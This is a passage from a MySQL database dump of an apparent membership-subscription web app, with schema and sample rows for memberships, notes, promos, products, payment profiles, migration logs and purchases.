669 (92,91,15,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
670 (93,92,131,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
671 (94,93,108,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
672 (95,94,104,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
673 (96,95,94,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
674 (97,96,45,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
675 (98,97,90,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
676 (99,98,64,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
677 (100,99,72,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
678 (101,100,47,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
679 (102,101,43,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
680 (103,102,93,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
681 (104,103,52,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
682 (105,104,8,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
683 (106,105,69,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
684 (107,106,130,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
685 (108,107,109,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
686 (109,108,86,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
687 (110,109,24,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
688 (111,110,126,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
689 (112,111,127,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
690 (113,112,128,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
691 (114,113,9,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
692 (115,114,81,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
693 (116,115,80,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
694 (117,116,91,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
695 (118,117,89,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
696 (119,118,12,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
697 (120,119,61,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
698 (121,120,103,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
699 (122,121,1,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
700 (123,122,34,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
701 (124,123,56,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
702 (125,124,4,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
703 (126,125,6,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
704 (127,126,7,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
705 (130,129,139,'2017-06-20 16:05:51',NULL,'2017-06-20 17:05:51','2018-07-20 17:05:51',NULL,1,2499);
706
707/*!40000 ALTER TABLE `memberships` ENABLE KEYS */;
708UNLOCK TABLES;
709
710
711# Dump of table notes
712# ------------------------------------------------------------
713
714DROP TABLE IF EXISTS `notes`;
715
716CREATE TABLE `notes` (
717 `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
718 `user_id` int(11) unsigned NOT NULL,
719 `notes` text NOT NULL,
720 `created_by` varchar(255) NOT NULL,
721 `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
722 `updated_at` timestamp NULL DEFAULT NULL,
723 `method` varchar(255) NOT NULL,
724 PRIMARY KEY (`id`)
725) ENGINE=InnoDB DEFAULT CHARSET=utf8;
726
727LOCK TABLES `notes` WRITE;
728/*!40000 ALTER TABLE `notes` DISABLE KEYS */;
729
730INSERT INTO `notes` (`id`, `user_id`, `notes`, `created_by`, `created_at`, `updated_at`, `method`)
731VALUES
732 (1,120,'xxxx','admin','2017-06-21 08:24:55',NULL,'email'),
733 (2,120,'<>','admin','2017-06-21 08:25:05',NULL,'phone'),
734 (3,120,'<xxx>','admin','2017-06-21 08:25:11',NULL,'phone'),
735 (4,120,'test <xxxx>','admin','2017-06-21 08:25:38',NULL,'email'),
736 (5,120,'<xxxx>','admin','2017-06-21 08:27:36',NULL,'email'),
737 (6,120,'\'','admin','2017-06-21 08:36:15',NULL,'phone');
738
739/*!40000 ALTER TABLE `notes` ENABLE KEYS */;
740UNLOCK TABLES;
741
742
743# Dump of table notes_reasons
744# ------------------------------------------------------------
745
746DROP TABLE IF EXISTS `notes_reasons`;
747
748CREATE TABLE `notes_reasons` (
749 `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
750 `label` varchar(255) NOT NULL,
751 `group` varchar(255) NOT NULL,
752 `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
753 `updated_at` timestamp NULL DEFAULT NULL,
754 PRIMARY KEY (`id`)
755) ENGINE=InnoDB DEFAULT CHARSET=utf8;
756
757
758
759# Dump of table overrides
760# ------------------------------------------------------------
761
762DROP TABLE IF EXISTS `overrides`;
763
764CREATE TABLE `overrides` (
765 `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
766 `membership_id` int(11) unsigned NOT NULL,
767 `promo_id` int(11) unsigned DEFAULT NULL,
768 `reason` text,
769 `start_date` datetime NOT NULL,
770 `end_date` datetime NOT NULL,
771 `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
772 `updated_at` timestamp NULL DEFAULT NULL,
773 PRIMARY KEY (`id`),
774 KEY `membership_id` (`membership_id`),
775 KEY `promo_id` (`promo_id`),
776 CONSTRAINT `overrides_ibfk_1` FOREIGN KEY (`membership_id`) REFERENCES `memberships` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION,
777 CONSTRAINT `overrides_ibfk_2` FOREIGN KEY (`promo_id`) REFERENCES `promos` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION
778) ENGINE=InnoDB DEFAULT CHARSET=utf8;
779
780LOCK TABLES `overrides` WRITE;
781/*!40000 ALTER TABLE `overrides` DISABLE KEYS */;
782
783INSERT INTO `overrides` (`id`, `membership_id`, `promo_id`, `reason`, `start_date`, `end_date`, `created_at`, `updated_at`)
784VALUES
785 (1,130,1,NULL,'2017-06-20 17:05:51','2018-07-20 17:05:51','2017-06-20 16:05:51',NULL);
786
787/*!40000 ALTER TABLE `overrides` ENABLE KEYS */;
788UNLOCK TABLES;
789
790
791# Dump of table payment_gateways
792# ------------------------------------------------------------
793
794DROP TABLE IF EXISTS `payment_gateways`;
795
796CREATE TABLE `payment_gateways` (
797 `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
798 `name` varchar(255) NOT NULL,
799 PRIMARY KEY (`id`)
800) ENGINE=InnoDB DEFAULT CHARSET=utf8;
801
802LOCK TABLES `payment_gateways` WRITE;
803/*!40000 ALTER TABLE `payment_gateways` DISABLE KEYS */;
804
805INSERT INTO `payment_gateways` (`id`, `name`)
806VALUES
807 (1,'chase'),
808 (2,'paypal');
809
810/*!40000 ALTER TABLE `payment_gateways` ENABLE KEYS */;
811UNLOCK TABLES;
812
813
814# Dump of table payment_profiles
815# ------------------------------------------------------------
816
817DROP TABLE IF EXISTS `payment_profiles`;
818
819CREATE TABLE `payment_profiles` (
820 `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
821 `user_id` int(11) unsigned NOT NULL,
822 `token` varchar(255) NOT NULL,
823 `gateway_id` int(11) unsigned NOT NULL,
824 `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
825 `updated_at` timestamp NULL DEFAULT NULL,
826 `revoked_at` datetime DEFAULT NULL,
827 PRIMARY KEY (`id`),
828 KEY `user_id` (`user_id`),
829 KEY `gateway_id` (`gateway_id`),
830 CONSTRAINT `payment_profiles_ibfk_1` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION,
831 CONSTRAINT `payment_profiles_ibfk_2` FOREIGN KEY (`gateway_id`) REFERENCES `payment_gateways` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION
832) ENGINE=InnoDB DEFAULT CHARSET=utf8;
833
834LOCK TABLES `payment_profiles` WRITE;
835/*!40000 ALTER TABLE `payment_profiles` DISABLE KEYS */;
836
837INSERT INTO `payment_profiles` (`id`, `user_id`, `token`, `gateway_id`, `created_at`, `updated_at`, `revoked_at`)
838VALUES
839 (1,125,'5947E895223306268A81A2AFC5C8F86CDE465463',1,'2017-06-19 15:07:02',NULL,NULL),
840 (2,126,'5947E97911B5C9D73408860C9FA9843129E35493',1,'2017-06-19 15:10:49',NULL,NULL),
841 (3,129,'594947DD5D8CF3F6FD70EAC45EDABE037D7154EE',1,'2017-06-20 16:05:51',NULL,NULL);
842
843/*!40000 ALTER TABLE `payment_profiles` ENABLE KEYS */;
844UNLOCK TABLES;
845
846
847# Dump of table phinxlog
848# ------------------------------------------------------------
849
850DROP TABLE IF EXISTS `phinxlog`;
851
852CREATE TABLE `phinxlog` (
853 `version` bigint(20) NOT NULL,
854 `migration_name` varchar(100) DEFAULT NULL,
855 `start_time` timestamp NULL DEFAULT NULL,
856 `end_time` timestamp NULL DEFAULT NULL,
857 `breakpoint` tinyint(1) NOT NULL DEFAULT '0',
858 PRIMARY KEY (`version`)
859) ENGINE=InnoDB DEFAULT CHARSET=utf8;
860
861LOCK TABLES `phinxlog` WRITE;
862/*!40000 ALTER TABLE `phinxlog` DISABLE KEYS */;
863
864INSERT INTO `phinxlog` (`version`, `migration_name`, `start_time`, `end_time`, `breakpoint`)
865VALUES
866 (20170303110800,'AddUserTables','2017-06-13 11:24:15','2017-06-13 11:24:16',0),
867 (20170307113300,'AddTransactionId','2017-06-13 11:24:16','2017-06-13 11:24:16',0),
868 (20170310150000,'AddTransactionTable','2017-06-13 11:24:16','2017-06-13 11:24:16',0),
869 (20170329103700,'AddAddressTable','2017-06-13 11:24:16','2017-06-13 11:24:17',0),
870 (20170406172800,'AllowNullTransactionReference','2017-06-13 11:24:17','2017-06-13 11:24:17',0),
871 (20170518900000,'ResetPasswordTable','2017-06-13 11:24:17','2017-06-13 11:24:17',0),
872 (20170526091300,'CreateAuditTable','2017-06-13 11:24:17','2017-06-13 11:24:17',0),
873 (20170526130000,'UpdateAuditTable','2017-06-13 11:24:17','2017-06-13 11:24:18',0),
874 (20170526130100,'AddUserIdToAuditTable','2017-06-13 11:24:18','2017-06-13 11:24:18',0),
875 (20170526133000,'UpdateChangeColumnAuditTable','2017-06-13 11:24:18','2017-06-13 11:24:18',0),
876 (20170530000000,'UpdatePurchasesAndTransactions','2017-06-13 11:24:18','2017-06-13 11:24:22',0),
877 (20170530120000,'CreateNotesTable','2017-06-13 11:24:22','2017-06-13 11:24:22',0),
878 (20170530140800,'AddLoginHistoryTable','2017-06-13 11:24:22','2017-06-13 11:24:22',0),
879 (20170531093000,'CreateNotesReasonsTable','2017-06-13 11:24:22','2017-06-13 11:24:22',0),
880 (20170531094000,'AlterNotesTable','2017-06-13 11:24:22','2017-06-13 11:24:22',0),
881 (20170608101000,'CreateMembershipsTable','2017-06-13 11:24:22','2017-06-13 11:24:22',0),
882 (20170608120000,'CreatePromosTable','2017-06-13 11:24:22','2017-06-13 11:24:22',0),
883 (20170608170000,'CreateOverridesTable','2017-06-13 11:24:22','2017-06-13 11:24:22',0),
884 (20170609091000,'AlterMembershipsTable','2017-06-13 11:24:22','2017-06-13 11:24:23',0),
885 (20170609132000,'CreatePromoProductsTable','2017-06-13 11:24:23','2017-06-13 11:24:23',0),
886 (20170609142400,'AlterProductsTable','2017-06-13 11:24:23','2017-06-13 11:24:24',0),
887 (20170610132700,'CreateProductImagesTable','2017-06-13 11:24:24','2017-06-13 11:24:25',0),
888 (20170610190200,'UpdateProductData','2017-06-13 11:24:25','2017-06-13 11:24:25',0),
889 (20170613092228,'CreateMembershipCardsTable','2017-06-14 22:13:33','2017-06-14 22:13:33',0),
890 (20170614093100,'UpdateMembershipAndOverridesTables','2017-06-19 14:35:43','2017-06-19 14:35:43',0),
891 (20170614131217,'AddProductToMemberships','2017-06-14 22:13:33','2017-06-14 22:13:33',0),
892 (20170615123300,'UpdateMembershipCardsTable','2017-06-19 14:35:43','2017-06-19 14:35:43',0);
893
894/*!40000 ALTER TABLE `phinxlog` ENABLE KEYS */;
895UNLOCK TABLES;
896
897
898# Dump of table product_images
899# ------------------------------------------------------------
900
901DROP TABLE IF EXISTS `product_images`;
902
903CREATE TABLE `product_images` (
904 `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
905 `url` varchar(255) NOT NULL,
906 `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
907 `updated_at` timestamp NULL DEFAULT NULL,
908 PRIMARY KEY (`id`)
909) ENGINE=InnoDB DEFAULT CHARSET=utf8;
910
911LOCK TABLES `product_images` WRITE;
912/*!40000 ALTER TABLE `product_images` DISABLE KEYS */;
913
914INSERT INTO `product_images` (`id`, `url`, `created_at`, `updated_at`)
915VALUES
916 (1,'/website/static/img/hi-life-card.png','2017-06-13 11:24:24',NULL);
917
918/*!40000 ALTER TABLE `product_images` ENABLE KEYS */;
919UNLOCK TABLES;
920
921
922# Dump of table products
923# ------------------------------------------------------------
924
925DROP TABLE IF EXISTS `products`;
926
927CREATE TABLE `products` (
928 `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
929 `name` varchar(255) NOT NULL,
930 `brand_id` int(11) unsigned NOT NULL,
931 `charge_period_type` enum('day','month','year') NOT NULL,
932 `charge_period_unit` int(11) unsigned NOT NULL,
933 `trial_period_type` enum('day','month','year') DEFAULT NULL,
934 `trial_period_unit` int(11) unsigned DEFAULT NULL,
935 `price_net` int(11) unsigned NOT NULL,
936 `available` tinyint(3) unsigned NOT NULL,
937 `hashid` varchar(255) DEFAULT NULL,
938 `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
939 `updated_at` timestamp NULL DEFAULT NULL,
940 `image_id` int(11) unsigned DEFAULT NULL,
941 PRIMARY KEY (`id`),
942 KEY `brand_id` (`brand_id`),
943 KEY `image_id` (`image_id`),
944 CONSTRAINT `products_ibfk_1` FOREIGN KEY (`brand_id`) REFERENCES `brands` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION,
945 CONSTRAINT `products_ibfk_2` FOREIGN KEY (`image_id`) REFERENCES `product_images` (`id`) ON DELETE SET NULL ON UPDATE NO ACTION
946) ENGINE=InnoDB DEFAULT CHARSET=utf8;
947
948LOCK TABLES `products` WRITE;
949/*!40000 ALTER TABLE `products` DISABLE KEYS */;
950
951INSERT INTO `products` (`id`, `name`, `brand_id`, `charge_period_type`, `charge_period_unit`, `trial_period_type`, `trial_period_unit`, `price_net`, `available`, `hashid`, `created_at`, `updated_at`, `image_id`)
952VALUES
953 (1,'Hi-Life',1,'month',12,'month',1,2499,1,NULL,'2017-06-13 11:24:25',NULL,1),
954 (2,'Hi-Life',1,'month',12,'month',1,0,1,NULL,'2017-06-13 11:24:25',NULL,1);
955
956/*!40000 ALTER TABLE `products` ENABLE KEYS */;
957UNLOCK TABLES;
958
959
960# Dump of table promo_products
961# ------------------------------------------------------------
962
963DROP TABLE IF EXISTS `promo_products`;
964
965CREATE TABLE `promo_products` (
966 `promo_id` int(11) unsigned NOT NULL AUTO_INCREMENT,
967 `product_id` int(11) unsigned NOT NULL,
968 PRIMARY KEY (`promo_id`),
969 KEY `product_id` (`product_id`),
970 CONSTRAINT `promo_products_ibfk_1` FOREIGN KEY (`promo_id`) REFERENCES `promos` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION,
971 CONSTRAINT `promo_products_ibfk_2` FOREIGN KEY (`product_id`) REFERENCES `products` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION
972) ENGINE=InnoDB DEFAULT CHARSET=utf8;
973
974LOCK TABLES `promo_products` WRITE;
975/*!40000 ALTER TABLE `promo_products` DISABLE KEYS */;
976
977INSERT INTO `promo_products` (`promo_id`, `product_id`)
978VALUES
979 (1,1),
980 (2,1);
981
982/*!40000 ALTER TABLE `promo_products` ENABLE KEYS */;
983UNLOCK TABLES;
984
985
986# Dump of table promos
987# ------------------------------------------------------------
988
989DROP TABLE IF EXISTS `promos`;
990
991CREATE TABLE `promos` (
992 `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
993 `name` varchar(255) NOT NULL,
994 `promo_code` varchar(255) NOT NULL,
995 `validity_start` datetime NOT NULL,
996 `validity_end` datetime NOT NULL,
997 `maximum_signups` int(11) DEFAULT NULL,
998 `price_net` int(11) DEFAULT NULL,
999 `stackable` tinyint(1) DEFAULT '0',
1000 `automatically_apply` tinyint(1) NOT NULL DEFAULT '0',
1001 `persists_with_renewal` tinyint(1) NOT NULL DEFAULT '0',
1002 `charge_period_type` enum('day','month','year') DEFAULT NULL,
1003 `charge_period_unit` int(11) unsigned DEFAULT NULL,
1004 `trial_period_type` enum('day','month','year') DEFAULT NULL,
1005 `trial_period_unit` int(11) unsigned DEFAULT NULL,
1006 `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
1007 `updated_at` timestamp NULL DEFAULT NULL,
1008 `image_id` int(11) unsigned DEFAULT NULL,
1009 PRIMARY KEY (`id`),
1010 KEY `image_id` (`image_id`),
1011 CONSTRAINT `promos_ibfk_1` FOREIGN KEY (`image_id`) REFERENCES `product_images` (`id`) ON DELETE SET NULL ON UPDATE NO ACTION
1012) ENGINE=InnoDB DEFAULT CHARSET=utf8;
1013
1014LOCK TABLES `promos` WRITE;
1015/*!40000 ALTER TABLE `promos` DISABLE KEYS */;
1016
1017INSERT INTO `promos` (`id`, `name`, `promo_code`, `validity_start`, `validity_end`, `maximum_signups`, `price_net`, `stackable`, `automatically_apply`, `persists_with_renewal`, `charge_period_type`, `charge_period_unit`, `trial_period_type`, `trial_period_unit`, `created_at`, `updated_at`, `image_id`)
1018VALUES
1019 (1,'Hi-Life Annual Subscription','annual','1970-01-01 00:00:00','9999-12-31 23:59:59',NULL,2499,1,0,0,'year',1,NULL,NULL,'2017-06-13 11:24:22',NULL,NULL),
1020 (2,'Hi-Life no obligation 1 month trial','month-no-obligation','1970-01-01 00:00:00','9999-12-31 23:59:59',NULL,0,0,0,0,'month',1,NULL,NULL,'2017-06-13 11:24:22',NULL,NULL);
1021
1022/*!40000 ALTER TABLE `promos` ENABLE KEYS */;
1023UNLOCK TABLES;
1024
1025
1026# Dump of table purchases
1027# ------------------------------------------------------------
1028
1029DROP TABLE IF EXISTS `purchases`;
1030
1031CREATE TABLE `purchases` (
1032 `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
1033 `user_id` int(11) unsigned NOT NULL,
1034 `product_id` int(11) unsigned NOT NULL,
1035 `billing_address_id` int(11) unsigned DEFAULT NULL,
1036 `delivery_address_id` int(11) unsigned DEFAULT NULL,
1037 `sale_type` enum('B2B','B2C','B2B2C') DEFAULT NULL,
1038 `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
1039 `updated_at` timestamp NULL DEFAULT NULL,
1040 PRIMARY KEY (`id`),
1041 KEY `product_id` (`product_id`),
1042 KEY `billing_address_id` (`billing_address_id`),
1043 KEY `delivery_address_id` (`delivery_address_id`),
1044 CONSTRAINT `purchases_ibfk_1` FOREIGN KEY (`product_id`) REFERENCES `products` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION,
1045 CONSTRAINT `purchases_ibfk_2` FOREIGN KEY (`billing_address_id`) REFERENCES `addresses` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION,
1046 CONSTRAINT `purchases_ibfk_3` FOREIGN KEY (`delivery_address_id`) REFERENCES `addresses` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION
1047) ENGINE=InnoDB DEFAULT CHARSET=utf8;
1048
1049LOCK TABLES `purchases` WRITE;
1050/*!40000 ALTER TABLE `purchases` DISABLE KEYS */;
1051
1052INSERT INTO `purchases` (`id`, `user_id`, `product_id`, `billing_address_id`, `delivery_address_id`, `sale_type`, `created_at`, `updated_at`)
1053VALUES
1054 (1,121,1,NULL,NULL,'B2C','2017-06-13 12:23:47',NULL),
1055 (2,121,1,NULL,NULL,'B2C','2017-06-13 12:24:17',NULL),
1056 (3,13,1,NULL,NULL,'B2C','2017-06-13 12:25:04',NULL),
1057 (4,124,1,NULL,NULL,'B2C','2017-06-19 08:49:26',NULL),
1058 (5,124,1,NULL,NULL,'B2C','2017-06-19 08:53:52',NULL),
1059 (6,125,1,NULL,NULL,'B2C','2017-06-19 15:06:53',NULL),
1060 (7,126,1,NULL,NULL,'B2C','2017-06-19 15:10:42',NULL),
1061 (8,104,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1062 (9,113,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1063 (10,121,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1064 (11,14,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1065 (12,118,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1066 (13,125,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1067 (14,38,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1068 (15,91,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1069 (16,62,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1070 (17,60,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1071 (18,28,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1072 (19,12,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1073 (20,64,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1074 (21,34,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1075 (22,90,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1076 (23,32,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1077 (24,109,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1078 (25,56,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1079 (26,21,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1080 (27,70,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1081 (28,44,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1082 (29,13,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1083 (30,81,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1084 (31,71,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1085 (32,63,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1086 (33,77,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1087 (34,122,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1088 (35,4,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1089 (36,9,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1090 (37,35,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1091 (38,39,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1092 (39,51,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1093 (40,48,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1094 (41,76,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1095 (42,33,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1096 (43,101,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1097 (44,79,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1098 (45,96,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1099 (46,2,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1100 (47,100,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1101 (48,36,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1102 (49,8,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1103 (50,43,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1104 (51,89,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1105 (52,103,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1106 (53,50,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1107 (54,84,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1108 (55,73,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1109 (56,123,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1110 (57,23,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1111 (58,22,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1112 (59,17,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1113 (60,26,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1114 (61,119,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1115 (62,126,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1116 (63,82,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1117 (64,98,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1118 (65,27,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1119 (66,59,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1120 (67,78,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1121 (68,88,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1122 (69,105,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1123 (70,52,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1124 (71,124,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1125 (72,99,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1126 (73,57,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1127 (74,49,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1128 (75,85,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1129 (76,24,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1130 (77,86,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1131 (78,83,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1132 (79,45,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1133 (80,115,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1134 (81,114,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1135 (82,37,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1136 (83,53,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1137 (84,72,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1138 (85,31,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1139 (86,108,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1140 (87,47,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1141 (88,42,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1142 (89,117,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1143 (90,97,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
1144 (91,116,1,NULL,NULL,'B2C','2017-06-19 15:14:36',NULL),
